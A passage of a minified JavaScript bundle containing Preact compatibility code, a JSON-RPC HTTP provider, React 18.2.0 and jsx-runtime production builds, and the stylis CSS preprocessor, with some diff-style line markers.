y(n,i)}return i.displayName="Lazy",i.__f=!0,i}function De(){this.u=null,this.o=null}i.unmount=function(e){var t=e.__c;t&&t.__R&&t.__R(),t&&!0===e.__h&&(e.type=null),Me&&Me(e)},(Le.prototype=new O).__c=function(e,t){var n=t.__c,r=this;null==r.t&&(r.t=[]),r.t.push(n);var i=je(r.__v),o=!1,s=function(){o||(o=!0,n.__R=null,i?i(a):a())};n.__R=s;var a=function(){if(! --r.__u){if(r.state.__a){var e=r.state.__a;r.__v.__k[0]=function e(t,n,r){return t&&(t.__v=null,t.__k=t.__k&&t.__k.map((function(t){return e(t,n,r)})),t.__c&&t.__c.__P===n&&(t.__e&&r.insertBefore(t.__e,t.__d),t.__c.__e=!0,t.__c.__P=r)),t}(e,e.__c.__P,e.__c.__O)}var t;for(r.setState({__a:r.__b=null});t=r.t.pop();)t.forceUpdate()}},u=!0===t.__h;r.__u++||u||r.setState({__a:r.__b=r.__v.__k[0]}),e.then(s,s)},Le.prototype.componentWillUnmount=function(){this.t=[]},Le.prototype.render=function(e,t){if(this.__b){if(this.__v.__k){var n=document.createElement("div"),r=this.__v.__k[0].__c;this.__v.__k[0]=function e(t,n,r){return t&&(t.__c&&t.__c.__H&&(t.__c.__H.__.forEach((function(e){"function"==typeof e.__c&&e.__c()})),t.__c.__H=null),null!=(t=Se({},t)).__c&&(t.__c.__P===r&&(t.__c.__P=n),t.__c=null),t.__k=t.__k&&t.__k.map((function(t){return e(t,n,r)}))),t}(this.__b,n,r.__O=r.__P)}this.__b=null}var i=t.__a&&y(_,null,e.fallback);return i&&(i.__h=null),[y(_,null,t.__a?null:e.children),i]};var ze=function(e,t,n){if(++n[1]===n[0]&&e.o.delete(t),e.props.revealOrder&&("t"!==e.props.revealOrder[0]||!e.o.size))for(n=e.u;n;){for(;n.length>3;)n.pop()();if(n[1]<n[0])break;e.u=n=n[2]}};function Fe(e){return this.getChildContext=function(){return e.context},e.children}function Be(e){var t=this,n=e.i;t.componentWillUnmount=function(){B(null,t.l),t.l=null,t.i=null},t.i&&t.i!==n&&t.componentWillUnmount(),e.__v?(t.l||(t.i=n,t.l={nodeType:1,parentNode:n,childNodes:[],appendChild:function(e){this.childNodes.push(e),t.i.appendChild(e)},insertBefore:function(e,n){this.childNodes.push(e),t.i.appendChild(e)},removeChild:function(e){this.childNodes.splice(this.childNodes.indexOf(e)>>>1,1),t.i.removeChild(e)}}),B(y(Fe,{context:t.context},e.__v),t.l)):t.l&&t.componentWillUnmount()}function He(e,t){var n=y(Be,{__v:e,i:t});return n.containerInfo=t,n}(De.prototype=new O).__a=function(e){var t=this,n=je(t.__v),r=t.o.get(e);return r[0]++,function(i){var o=function(){t.props.revealOrder?(r.push(i),ze(t,e,r)):i()};n?n(o):o()}},De.prototype.render=function(e){this.u=null,this.o=new Map;var t=N(e.children);e.revealOrder&&"b"===e.revealOrder[0]&&t.reverse();for(var n=t.length;n--;)this.o.set(t[n],this.u=[1,0,this.u]);return e.children},De.prototype.componentDidUpdate=De.prototype.componentDidMount=function(){var e=this;this.o.forEach((function(t,n){ze(e,n,t)}))};var qe="undefined"!=typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,Ve=/^(?:accent|alignment|arabic|baseline|cap|clip(?!PathU)|color|dominant|fill|flood|font|glyph(?!R)|horiz|image|letter|lighting|marker(?!H|W|U)|overline|paint|pointer|shape|stop|strikethrough|stroke|text(?!L)|transform|underline|unicode|units|v|vector|vert|word|writing|x(?!C))[A-Z]/,$e="undefined"!=typeof document,We=function(e){return("undefined"!=typeof Symbol&&"symbol"==typeof Symbol()?/fil|che|rad/i:/fil|che|ra/i).test(e)};function Ke(e,t,n){return null==t.__k&&(t.textContent=""),B(e,t),"function"==typeof n&&n(),e?e.__c:null}function Ge(e,t,n){return H(e,t),"function"==typeof n&&n(),e?e.__c:null}O.prototype.isReactComponent={},["componentWillMount","componentWillReceiveProps","componentWillUpdate"].forEach((function(e){Object.defineProperty(O.prototype,e,{configurable:!0,get:function(){return this["UNSAFE_"+e]},set:function(t){Object.defineProperty(this,e,{configurable:!0,writable:!0,value:t})}})}));var Ye=i.event;function Qe(){}function Je(){return this.cancelBubble}function Xe(){return this.defaultPrevented}i.event=function(e){return Ye&&(e=Ye(e)),e.persist=Qe,e.isPropagationStopped=Je,e.isDefaultPrevented=Xe,e.nativeEvent=e};var Ze,et={configurable:!0,get:function(){return this.class}},tt=i.vnode;i.vnode=function(e){var t=e.type,n=e.props,r=n;if("string"==typeof t){var i=-1===t.indexOf("-");for(var o in r={},n){var s=n[o];$e&&"children"===o&&"noscript"===t||"value"===o&&"defaultValue"in n&&null==s||("defaultValue"===o&&"value"in n&&null==n.value?o="value":"download"===o&&!0===s?s="":/ondoubleclick/i.test(o)?o="ondblclick":/^onchange(textarea|input)/i.test(o+t)&&!We(n.type)?o="oninput":/^onfocus$/i.test(o)?o="onfocusin":/^onblur$/i.test(o)?o="onfocusout":/^on(Ani|Tra|Tou|BeforeInp|Compo)/.test(o)?o=o.toLowerCase():i&&Ve.test(o)?o=o.replace(/[A-Z0-9]/g,"-$&").toLowerCase():null===s&&(s=void 0),/^oninput$/i.test(o)&&(o=o.toLowerCase(),r[o]&&(o="oninputCapture")),r[o]=s)}"select"==t&&r.multiple&&Array.isArray(r.value)&&(r.value=N(n.children).forEach((function(e){e.props.selected=-1!=r.value.indexOf(e.props.value)}))),"select"==t&&null!=r.defaultValue&&(r.value=N(n.children).forEach((function(e){e.props.selected=r.multiple?-1!=r.defaultValue.indexOf(e.props.value):r.defaultValue==e.props.value}))),e.props=r,n.class!=n.className&&(et.enumerable="className"in n,null!=n.className&&(r.class=n.className),Object.defineProperty(r,"className",et))}e.$$typeof=qe,tt&&tt(e)};var nt=i.__r;i.__r=function(e){nt&&nt(e),Ze=e.__c};var rt={ReactCurrentDispatcher:{current:{readContext:function(e){return Ze.__n[e.__c].props.value}}}},it="17.0.2";function ot(e){return y.bind(null,e)}function st(e){return!!e&&e.$$typeof===qe}function at(e){return st(e)?q.apply(null,arguments):e}function ut(e){return!!e.__k&&(B(null,e),!0)}function ct(e){return e&&(e.base||1===e.nodeType&&e)||null}var lt=function(e,t){return e(t)},ft=function(e,t){return e(t)},ht=_;function dt(e){e()}function pt(e){return e}function gt(){return[!1,dt]}var yt=ae;function vt(e,t){var n=t(),r=ie({h:{__:n,v:t}}),i=r[0].h,o=r[1];return ae((function(){i.__=n,i.v=t,xe(i.__,t())||o({h:i})}),[e,n,t]),se((function(){return xe(i.__,i.v())||o({h:i}),e((function(){xe(i.__,i.v())||o({h:i})}))}),[e]),n}var mt={useState:ie,useId:ge,useReducer:oe,useEffect:se,useLayoutEffect:ae,useInsertionEffect:ae,useTransition:gt,useDeferredValue:pt,useSyncExternalStore:vt,startTransition:dt,useRef:ue,useImperativeHandle:ce,useMemo:le,useCallback:fe,useContext:he,useDebugValue:de,version:"17.0.2",Children:Ne,render:Ke,hydrate:Ge,unmountComponentAtNode:ut,createPortal:He,createElement:y,createContext:V,createFactory:ot,cloneElement:at,createRef:m,Fragment:_,isValidElement:st,findDOMNode:ct,Component:O,PureComponent:Ie,memo:Re,forwardRef:Pe,flushSync:ft,unstable_batchedUpdates:lt,StrictMode:_,Suspense:Le,SuspenseList:De,lazy:Ue,__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:rt}},function(e,t,n){n.r(t),n.d(t,"JsonRpcProvider",(function(){return o}));var r=n(13),i=n(7);class o extends i.IJsonRpcProvider{constructor(e){super(e),this.events=new r.EventEmitter,this.hasRegisteredEventListeners=!1,this.connection=this.setConnection(e),this.connection.connected&&this.registerEventListeners()}async connect(e=this.connection){await this.open(e)}async disconnect(){await this.close()}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}off(e,t){this.events.off(e,t)}removeListener(e,t){this.events.removeListener(e,t)}async request(e,t){return this.requestStrict(Object(i.formatJsonRpcRequest)(e.method,e.params||[]),t)}async requestStrict(e,t){return new Promise((async(n,r)=>{if(!this.connection.connected)try{await this.open()}catch(e){r(e)}this.events.on(""+e.id,(e=>{Object(i.isJsonRpcError)(e)?r(e.error):n(e.result)}));try{await this.connection.send(e,t)}catch(e){r(e)}}))}setConnection(e=this.connection){return e}onPayload(e){this.events.emit("payload",e),Object(i.isJsonRpcResponse)(e)?this.events.emit(""+e.id,e):this.events.emit("message",{type:e.method,data:e.params})}async open(e=this.connection){this.connection===e&&this.connection.connected||(this.connection.connected&&this.close(),"string"==typeof e&&(await this.connection.open(e),e=this.connection),this.connection=this.setConnection(e),await this.connection.open(),this.registerEventListeners(),this.events.emit("connect"))}async close(){await this.connection.close()}registerEventListeners(){this.hasRegisteredEventListeners||(this.connection.on("payload",(e=>this.onPayload(e))),this.connection.on("close",(()=>this.events.emit("disconnect"))),this.connection.on("error",(e=>this.events.emit("error",e))),this.hasRegisteredEventListeners=!0)}}var s=o;t.default=s},function(e,t,n){n.r(t),n.d(t,"HttpConnection",(function(){return c}));var r=n(13),i=n(23),o=n.n(i),s=n(12),a=n(7);const u={headers:{Accept:"application/json","Content-Type":"application/json"},method:"POST"};class c{constructor(e){if(this.url=e,this.events=new r.EventEmitter,this.isAvailable=!1,this.registering=!1,!Object(a.isHttpUrl)(e))throw new Error("Provided URL is not compatible with HTTP connection: "+e);this.url=e}get connected(){return this.isAvailable}get connecting(){return this.registering}on(e,t){this.events.on(e,t)}once(e,t){this.events.once(e,t)}off(e,t){this.events.off(e,t)}removeListener(e,t){this.events.removeListener(e,t)}async open(e=this.url){await this.register(e)}async close(){if(!this.isAvailable)throw new Error("Connection already closed");this.onClose()}async send(e,t){this.isAvailable||await this.register();try{const t=Object(s.b)(e),n=await o()(this.url,Object.assign(Object.assign({},u),{body:t})),r=await n.json();this.onPayload({data:r})}catch(t){this.onError(e.id,t)}}async register(e=this.url){if(!Object(a.isHttpUrl)(e))throw new Error("Provided URL is not compatible with HTTP connection: "+e);if(this.registering){const e=this.events.getMaxListeners();return(this.events.listenerCount("register_error")>=e||this.events.listenerCount("open")>=e)&&this.events.setMaxListeners(e+1),new Promise(((e,t)=>{this.events.once("register_error",(e=>{this.resetMaxListeners(),t(e)})),this.events.once("open",(()=>{if(this.resetMaxListeners(),void 0===this.isAvailable)return t(new Error("HTTP connection is missing or invalid"));e()}))}))}this.url=e,this.registering=!0;try{const t=Object(s.b)({id:1,jsonrpc:"2.0",method:"test",params:[]});await o()(e,Object.assign(Object.assign({},u),{body:t})),this.onOpen()}catch(e){const t=this.parseError(e);throw this.events.emit("register_error",t),this.onClose(),t}}onOpen(){this.isAvailable=!0,this.registering=!1,this.events.emit("open")}onClose(){this.isAvailable=!1,this.registering=!1,this.events.emit("close")}onPayload(e){if(void 0===e.data)return;const t="string"==typeof e.data?Object(s.a)(e.data):e.data;this.events.emit("payload",t)}onError(e,t){const n=this.parseError(t),r=n.message||n.toString(),i=Object(a.formatJsonRpcError)(e,r);this.events.emit("payload",i)}parseError(e,t=this.url){return Object(a.parseConnectionError)(e,t,"HTTP")}resetMaxListeners(){this.events.getMaxListeners()>10&&this.events.setMaxListeners(10)}}var l=c;t.default=l}])}(d);var p,g=f(d.exports),y={exports:{}},v={},m={exports:{}},_={};function b(){if(p)return _;p=1;var e=Symbol.for("react.element"),t=Symbol.for("react.portal"),n=Symbol.for("react.fragment"),r=Symbol.for("react.strict_mode"),i=Symbol.for("react.profiler"),o=Symbol.for("react.provider"),s=Symbol.for("react.context"),a=Symbol.for("react.forward_ref"),u=Symbol.for("react.suspense"),c=Symbol.for("react.memo"),l=Symbol.for("react.lazy"),f=Symbol.iterator;var h={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},d=Object.assign,g={};function y(e,t,n){this.props=e,this.context=t,this.refs=g,this.updater=n||h}function v(){}function m(e,t,n){this.props=e,this.context=t,this.refs=g,this.updater=n||h}y.prototype.isReactComponent={},y.prototype.setState=function(e,t){if("object"!=typeof e&&"function"!=typeof e&&null!=e)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")},y.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")},v.prototype=y.prototype;var b=m.prototype=new v;b.constructor=m,d(b,y.prototype),b.isPureReactComponent=!0;var w=Array.isArray,E=Object.prototype.hasOwnProperty,S={current:null},O={key:!0,ref:!0,__self:!0,__source:!0};function x(t,n,r){var i,o={},s=null,a=null;if(null!=n)for(i in void 0!==n.ref&&(a=n.ref),void 0!==n.key&&(s=""+n.key),n)E.call(n,i)&&!O.hasOwnProperty(i)&&(o[i]=n[i]);var u=arguments.length-2;if(1===u)o.children=r;else if(1<u){for(var c=Array(u),l=0;l<u;l++)c[l]=arguments[l+2];o.children=c}if(t&&t.defaultProps)for(i in u=t.defaultProps)void 0===o[i]&&(o[i]=u[i]);return{$$typeof:e,type:t,key:s,ref:a,props:o,_owner:S.current}}function I(t){return"object"==typeof t&&null!==t&&t.$$typeof===e}var R=/\/+/g;function k(e,t){return"object"==typeof e&&null!==e&&null!=e.key?function(e){var t={"=":"=0",":":"=2"};return"$"+e.replace(/[=:]/g,(function(e){return t[e]}))}(""+e.key):t.toString(36)}function C(n,r,i,o,s){var a=typeof n;"undefined"!==a&&"boolean"!==a||(n=null);var u=!1;if(null===n)u=!0;else switch(a){case"string":case"number":u=!0;break;case"object":switch(n.$$typeof){case e:case t:u=!0}}if(u)return s=s(u=n),n=""===o?"."+k(u,0):o,w(s)?(i="",null!=n&&(i=n.replace(R,"$&/")+"/"),C(s,r,i,"",(function(e){return e}))):null!=s&&(I(s)&&(s=function(t,n){return{$$typeof:e,type:t.type,key:n,ref:t.ref,props:t.props,_owner:t._owner}}(s,i+(!s.key||u&&u.key===s.key?"":(""+s.key).replace(R,"$&/")+"/")+n)),r.push(s)),1;if(u=0,o=""===o?".":o+":",w(n))for(var c=0;c<n.length;c++){var l=o+k(a=n[c],c);u+=C(a,r,i,l,s)}else if(l=function(e){return null===e||"object"!=typeof e?null:"function"==typeof(e=f&&e[f]||e["@@iterator"])?e:null}(n),"function"==typeof l)for(n=l.call(n),c=0;!(a=n.next()).done;)u+=C(a=a.value,r,i,l=o+k(a,c++),s);else if("object"===a)throw r=String(n),Error("Objects are not valid as a React child (found: "+("[object Object]"===r?"object with keys {"+Object.keys(n).join(", ")+"}":r)+"). If you meant to render a collection of children, use an array instead.");return u}function P(e,t,n){if(null==e)return e;var r=[],i=0;return C(e,r,"","",(function(e){return t.call(n,e,i++)})),r}function A(e){if(-1===e._status){var t=e._result;(t=t()).then((function(t){0!==e._status&&-1!==e._status||(e._status=1,e._result=t)}),(function(t){0!==e._status&&-1!==e._status||(e._status=2,e._result=t)})),-1===e._status&&(e._status=0,e._result=t)}if(1===e._status)return e._result.default;throw e._result}var N={current:null},T={transition:null},M={ReactCurrentDispatcher:N,ReactCurrentBatchConfig:T,ReactCurrentOwner:S};return _.Children={map:P,forEach:function(e,t,n){P(e,(function(){t.apply(this,arguments)}),n)},count:function(e){var t=0;return P(e,(function(){t++})),t},toArray:function(e){return P(e,(function(e){return e}))||[]},only:function(e){if(!I(e))throw Error("React.Children.only expected to receive a single React element child.");return e}},_.Component=y,_.Fragment=n,_.Profiler=i,_.PureComponent=m,_.StrictMode=r,_.Suspense=u,_.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=M,_.cloneElement=function(t,n,r){if(null==t)throw Error("React.cloneElement(...): The argument must be a React element, but you passed "+t+".");var i=d({},t.props),o=t.key,s=t.ref,a=t._owner;if(null!=n){if(void 0!==n.ref&&(s=n.ref,a=S.current),void 0!==n.key&&(o=""+n.key),t.type&&t.type.defaultProps)var u=t.type.defaultProps;for(c in n)E.call(n,c)&&!O.hasOwnProperty(c)&&(i[c]=void 0===n[c]&&void 0!==u?u[c]:n[c])}var c=arguments.length-2;if(1===c)i.children=r;else if(1<c){u=Array(c);for(var l=0;l<c;l++)u[l]=arguments[l+2];i.children=u}return{$$typeof:e,type:t.type,key:o,ref:s,props:i,_owner:a}},_.createContext=function(e){return(e={$$typeof:s,_currentValue:e,_currentValue2:e,_threadCount:0,Provider:null,Consumer:null,_defaultValue:null,_globalName:null}).Provider={$$typeof:o,_context:e},e.Consumer=e},_.createElement=x,_.createFactory=function(e){var t=x.bind(null,e);return t.type=e,t},_.createRef=function(){return{current:null}},_.forwardRef=function(e){return{$$typeof:a,render:e}},_.isValidElement=I,_.lazy=function(e){return{$$typeof:l,_payload:{_status:-1,_result:e},_init:A}},_.memo=function(e,t){return{$$typeof:c,type:e,compare:void 0===t?null:t}},_.startTransition=function(e){var t=T.transition;T.transition={};try{e()}finally{T.transition=t}},_.unstable_act=function(){throw Error("act(...) is not supported in production builds of React.")},_.useCallback=function(e,t){return N.current.useCallback(e,t)},_.useContext=function(e){return N.current.useContext(e)},_.useDebugValue=function(){},_.useDeferredValue=function(e){return N.current.useDeferredValue(e)},_.useEffect=function(e,t){return N.current.useEffect(e,t)},_.useId=function(){return N.current.useId()},_.useImperativeHandle=function(e,t,n){return N.current.useImperativeHandle(e,t,n)},_.useInsertionEffect=function(e,t){return N.current.useInsertionEffect(e,t)},_.useLayoutEffect=function(e,t){return N.current.useLayoutEffect(e,t)},_.useMemo=function(e,t){return N.current.useMemo(e,t)},_.useReducer=function(e,t,n){return N.current.useReducer(e,t,n)},_.useRef=function(e){return N.current.useRef(e)},_.useState=function(e){return N.current.useState(e)},_.useSyncExternalStore=function(e,t,n){return N.current.useSyncExternalStore(e,t,n)},_.useTransition=function(){return N.current.useTransition()},_.version="18.2.0",_}!function(e){e.exports=b()}(m);var w,E=f(m.exports);
26
- /**
27
- * @license React
28
- * react-jsx-runtime.production.min.js
29
- *
30
- * Copyright (c) Facebook, Inc. and its affiliates.
31
- *
32
- * This source code is licensed under the MIT license found in the
33
- * LICENSE file in the root directory of this source tree.
34
- */!function(e){e.exports=function(){if(w)return v;w=1;var e=m.exports,t=Symbol.for("react.element"),n=Symbol.for("react.fragment"),r=Object.prototype.hasOwnProperty,i=e.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,o={key:!0,ref:!0,__self:!0,__source:!0};function s(e,n,s){var a,u={},c=null,l=null;for(a in void 0!==s&&(c=""+s),void 0!==n.key&&(c=""+n.key),void 0!==n.ref&&(l=n.ref),n)r.call(n,a)&&!o.hasOwnProperty(a)&&(u[a]=n[a]);if(e&&e.defaultProps)for(a in n=e.defaultProps)void 0===u[a]&&(u[a]=n[a]);return{$$typeof:t,type:e,key:c,ref:l,props:u,_owner:i.current}}return v.Fragment=n,v.jsx=s,v.jsxs=s,v}()}(y);var S,O={exports:{}},x={};function I(e){function t(e,r,u,c,h){for(var d,p,g,y,b,E=0,S=0,O=0,x=0,I=0,N=0,M=g=d=0,j=0,U=0,D=0,z=0,F=u.length,B=F-1,H="",q="",V="",$="";j<F;){if(p=u.charCodeAt(j),j===B&&0!==S+x+O+E&&(0!==S&&(p=47===S?10:47),x=O=E=0,F++,B++),0===S+x+O+E){if(j===B&&(0<U&&(H=H.replace(f,"")),0<H.trim().length)){switch(p){case 32:case 9:case 59:case 13:case 10:break;default:H+=u.charAt(j)}p=59}switch(p){case 123:for(d=(H=H.trim()).charCodeAt(0),g=1,z=++j;j<F;){switch(p=u.charCodeAt(j)){case 123:g++;break;case 125:g--;break;case 47:switch(p=u.charCodeAt(j+1)){case 42:case 47:e:{for(M=j+1;M<B;++M)switch(u.charCodeAt(M)){case 47:if(42===p&&42===u.charCodeAt(M-1)&&j+2!==M){j=M+1;break e}break;case 10:if(47===p){j=M+1;break e}}j=M}}break;case 91:p++;case 40:p++;case 34:case 39:for(;j++<B&&u.charCodeAt(j)!==p;);}if(0===g)break;j++}if(g=u.substring(z,j),0===d&&(d=(H=H.replace(l,"").trim()).charCodeAt(0)),64===d){switch(0<U&&(H=H.replace(f,"")),p=H.charCodeAt(1)){case 100:case 109:case 115:case 45:U=r;break;default:U=A}if(z=(g=t(r,U,g,p,h+1)).length,0<T&&(b=a(3,g,U=n(A,H,D),r,k,R,z,p,h,c),H=U.join(""),void 0!==b&&0===(z=(g=b.trim()).length)&&(p=0,g="")),0<z)switch(p){case 115:H=H.replace(w,s);case 100:case 109:case 45:g=H+"{"+g+"}";break;case 107:g=(H=H.replace(v,"$1 $2"))+"{"+g+"}",g=1===P||2===P&&o("@"+g,3)?"@-webkit-"+g+"@"+g:"@"+g;break;default:g=H+g,112===c&&(q+=g,g="")}else g=""}else g=t(r,n(r,H,D),g,c,h+1);V+=g,g=D=U=M=d=0,H="",p=u.charCodeAt(++j);break;case 125:case 59:if(1<(z=(H=(0<U?H.replace(f,""):H).trim()).length))switch(0===M&&(d=H.charCodeAt(0),45===d||96<d&&123>d)&&(z=(H=H.replace(" ",":")).length),0<T&&void 0!==(b=a(1,H,r,e,k,R,q.length,c,h,c))&&0===(z=(H=b.trim()).length)&&(H="\0\0"),d=H.charCodeAt(0),p=H.charCodeAt(1),d){case 0:break;case 64:if(105===p||99===p){$+=H+u.charAt(j);break}default:58!==H.charCodeAt(z-1)&&(q+=i(H,d,p,H.charCodeAt(2)))}D=U=M=d=0,H="",p=u.charCodeAt(++j)}}switch(p){case 13:case 10:47===S?S=0:0===1+d&&107!==c&&0<H.length&&(U=1,H+="\0"),0<T*L&&a(0,H,r,e,k,R,q.length,c,h,c),R=1,k++;break;case 59:case 125:if(0===S+x+O+E){R++;break}default:switch(R++,y=u.charAt(j),p){case 9:case 32:if(0===x+E+S)switch(I){case 44:case 58:case 9:case 32:y="";break;default:32!==p&&(y=" ")}break;case 0:y="\\0";break;case 12:y="\\f";break;case 11:y="\\v";break;case 38:0===x+S+E&&(U=D=1,y="\f"+y);break;case 108:if(0===x+S+E+C&&0<M)switch(j-M){case 2:112===I&&58===u.charCodeAt(j-3)&&(C=I);case 8:111===N&&(C=N)}break;case 58:0===x+S+E&&(M=j);break;case 44:0===S+O+x+E&&(U=1,y+="\r");break;case 34:case 39:0===S&&(x=x===p?0:0===x?p:x);break;case 91:0===x+S+O&&E++;break;case 93:0===x+S+O&&E--;break;case 41:0===x+S+E&&O--;break;case 40:if(0===x+S+E){if(0===d)if(2*I+3*N==533);else d=1;O++}break;case 64:0===S+O+x+E+M+g&&(g=1);break;case 42:case 47:if(!(0<x+E+O))switch(S){case 0:switch(2*p+3*u.charCodeAt(j+1)){case 235:S=47;break;case 220:z=j,S=42}break;case 42:47===p&&42===I&&z+2!==j&&(33===u.charCodeAt(z+2)&&(q+=u.substring(z,j+1)),y="",S=0)}}0===S&&(H+=y)}N=I,I=p,j++}if(0<(z=q.length)){if(U=r,0<T&&(void 0!==(b=a(2,q,U,e,k,R,z,c,h,c))&&0===(q=b).length))return $+q+V;if(q=U.join(",")+"{"+q+"}",0!=P*C){switch(2!==P||o(q,2)||(C=0),C){case 111:q=q.replace(_,":-moz-$1")+q;break;case 112:q=q.replace(m,"::-webkit-input-$1")+q.replace(m,"::-moz-$1")+q.replace(m,":-ms-input-$1")+q}C=0}}return $+q+V}function n(e,t,n){var i=t.trim().split(g);t=i;var o=i.length,s=e.length;switch(s){case 0:case 1:var a=0;for(e=0===s?"":e[0]+" ";a<o;++a)t[a]=r(e,t[a],n).trim();break;default:var u=a=0;for(t=[];a<o;++a)for(var c=0;c<s;++c)t[u++]=r(e[c]+" ",i[a],n).trim()}return t}function r(e,t,n){var r=t.charCodeAt(0);switch(33>r&&(r=(t=t.trim()).charCodeAt(0)),r){case 38:return t.replace(y,"$1"+e.trim());case 58:return e.trim()+t.replace(y,"$1"+e.trim());default:if(0<1*n&&0<t.indexOf("\f"))return t.replace(y,(58===e.charCodeAt(0)?"":"$1")+e.trim())}return e+t}function i(e,t,n,r){var s=e+";",a=2*t+3*n+4*r;if(944===a){e=s.indexOf(":",9)+1;var u=s.substring(e,s.length-1).trim();return u=s.substring(0,e).trim()+u+";",1===P||2===P&&o(u,1)?"-webkit-"+u+u:u}if(0===P||2===P&&!o(s,1))return s;switch(a){case 1015:return 97===s.charCodeAt(10)?"-webkit-"+s+s:s;case 951:return 116===s.charCodeAt(3)?"-webkit-"+s+s:s;case 963:return 110===s.charCodeAt(5)?"-webkit-"+s+s:s;case 1009:if(100!==s.charCodeAt(4))break;case 969:case 942:return"-webkit-"+s+s;case 978:return"-webkit-"+s+"-moz-"+s+s;case 1019:case 983:return"-webkit-"+s+"-moz-"+s+"-ms-"+s+s;case 883:if(45===s.charCodeAt(8))return"-webkit-"+s+s;if(0<s.indexOf("image-set(",11))return s.replace(I,"$1-webkit-$2")+s;break;case 932:if(45===s.charCodeAt(4))switch(s.charCodeAt(5)){case 103:return"-webkit-box-"+s.replace("-grow","")+"-webkit-"+s+"-ms-"+s.replace("grow","positive")+s;case 115:return"-webkit-"+s+"-ms-"+s.replace("shrink","negative")+s;case 98:return"-webkit-"+s+"-ms-"+s.replace("basis","preferred-size")+s}return"-webkit-"+s+"-ms-"+s+s;case 964:return"-webkit-"+s+"-ms-flex-"+s+s;case 1023:if(99!==s.charCodeAt(8))break;return"-webkit-box-pack"+(u=s.substring(s.indexOf(":",15)).replace("flex-","").replace("space-between","justify"))+"-webkit-"+s+"-ms-flex-pack"+u+s;case 1005:return d.test(s)?s.replace(h,":-webkit-")+s.replace(h,":-moz-")+s:s;case 1e3:switch(t=(u=s.substring(13).trim()).indexOf("-")+1,u.charCodeAt(0)+u.charCodeAt(t)){case 226:u=s.replace(b,"tb");break;case 232:u=s.replace(b,"tb-rl");break;case 220:u=s.replace(b,"lr");break;default:return s}return"-webkit-"+s+"-ms-"+u+s;case 1017:if(-1===s.indexOf("sticky",9))break;case 975:switch(t=(s=e).length-10,a=(u=(33===s.charCodeAt(t)?s.substring(0,t):s).substring(e.indexOf(":",7)+1).trim()).charCodeAt(0)+(0|u.charCodeAt(7))){case 203:if(111>u.charCodeAt(8))break;case 115:s=s.replace(u,"-webkit-"+u)+";"+s;break;case 207:case 102:s=s.replace(u,"-webkit-"+(102<a?"inline-":"")+"box")+";"+s.replace(u,"-webkit-"+u)+";"+s.replace(u,"-ms-"+u+"box")+";"+s}return s+";";case 938:if(45===s.charCodeAt(5))switch(s.charCodeAt(6)){case 105:return u=s.replace("-items",""),"-webkit-"+s+"-webkit-box-"+u+"-ms-flex-"+u+s;case 115:return"-webkit-"+s+"-ms-flex-item-"+s.replace(S,"")+s;default:return"-webkit-"+s+"-ms-flex-line-pack"+s.replace("align-content","").replace(S,"")+s}break;case 973:case 989:if(45!==s.charCodeAt(3)||122===s.charCodeAt(4))break;case 931:case 953:if(!0===x.test(e))return 115===(u=e.substring(e.indexOf(":")+1)).charCodeAt(0)?i(e.replace("stretch","fill-available"),t,n,r).replace(":fill-available",":stretch"):s.replace(u,"-webkit-"+u)+s.replace(u,"-moz-"+u.replace("fill-",""))+s;break;case 962:if(s="-webkit-"+s+(102===s.charCodeAt(5)?"-ms-"+s:"")+s,211===n+r&&105===s.charCodeAt(13)&&0<s.indexOf("transform",10))return s.substring(0,s.indexOf(";",27)+1).replace(p,"$1-webkit-$2")+s}return s}function o(e,t){var n=e.indexOf(1===t?":":"{"),r=e.substring(0,3!==t?n:10);return n=e.substring(n+1,e.length-1),M(2!==t?r:r.replace(O,"$1"),n,t)}function s(e,t){var n=i(t,t.charCodeAt(0),t.charCodeAt(1),t.charCodeAt(2));return n!==t+";"?n.replace(E," or ($1)").substring(4):"("+t+")"}function a(e,t,n,r,i,o,s,a,u,l){for(var f,h=0,d=t;h<T;++h)switch(f=N[h].call(c,e,d,n,r,i,o,s,a,u,l)){case void 0:case!1:case!0:case null:break;default:d=f}if(d!==t)return d}function u(e){return void 0!==(e=e.prefix)&&(M=null,e?"function"!=typeof e?P=1:(P=2,M=e):P=0),u}function c(e,n){var r=e;if(33>r.charCodeAt(0)&&(r=r.trim()),r=[r],0<T){var i=a(-1,n,r,r,k,R,0,0,0,0);void 0!==i&&"string"==typeof i&&(n=i)}var o=t(A,r,n,0,0);return 0<T&&(void 0!==(i=a(-2,o,r,r,k,R,o.length,0,0,0))&&(o=i)),"",C=0,R=k=1,o}var l=/^\0+/g,f=/[\0\r\f]/g,h=/: */g,d=/zoo|gra/,p=/([,: ])(transform)/g,g=/,\r+?/g,y=/([\t\r\n ])*\f?&/g,v=/@(k\w+)\s*(\S*)\s*/,m=/::(place)/g,_=/:(read-only)/g,b=/[svh]\w+-[tblr]{2}/,w=/\(\s*(.*)\s*\)/g,E=/([\s\S]*?);/g,S=/-self|flex-/g,O=/[^]*?(:[rp][el]a[\w-]+)[^]*/,x=/stretch|:\s*\w+\-(?:conte|avail)/,I=/([^-])(image-set\()/,R=1,k=1,C=0,P=1,A=[],N=[],T=0,M=null,L=0;return c.use=function e(t){switch(t){case void 0:case null:T=N.length=0;break;default:if("function"==typeof t)N[T++]=t;else if("object"==typeof t)for(var n=0,r=t.length;n<r;++n)e(t[n]);else L=0|!!t}return e},c.set=u,void 0!==e&&u(e),c}!function(e){e.exports=function(){if(S)return x;S=1;var e="function"==typeof 